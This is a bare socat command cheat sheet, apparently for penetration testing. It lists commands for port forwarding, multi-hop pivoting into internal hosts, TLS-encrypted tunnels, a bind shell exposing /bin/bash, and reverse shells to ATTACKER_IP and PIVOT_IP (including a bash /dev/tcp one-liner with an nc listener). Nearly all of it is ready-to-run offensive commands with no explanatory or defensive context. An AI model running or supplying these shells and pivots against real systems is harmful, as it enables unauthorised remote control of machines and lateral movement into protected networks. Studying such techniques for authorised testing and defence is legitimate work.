Socat

apt install socat

socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80

socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80 &

nc -lvnp 4444

socat TCP-LISTEN:9999,fork TCP:ATTACKER_IP:4444

bash -i >& /dev/tcp/PIVOT_IP/9999 0>&1

# Pivot1: forward 8080 → Pivot2:9090
socat TCP-LISTEN:8080,fork TCP:PIVOT2_IP:9090

# Pivot2: forward 9090 → Internal:80
socat TCP-LISTEN:9090,fork TCP:INTERNAL_IP:80

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
cat key.pem cert.pem > socat.pem

socat OPENSSL-LISTEN:443,cert=socat.pem,verify=0,fork TCP:TARGET_IP:80

socat TCP-LISTEN:8080,fork OPENSSL:PIVOT_IP:443,verify=0

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

socat FILE:`tty`,raw,echo=0 TCP:TARGET:4444

socat FILE:`tty`,raw,echo=0 TCP-LISTEN:4444

socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

socat UDP-LISTEN:53,fork UDP:DNS_SERVER:53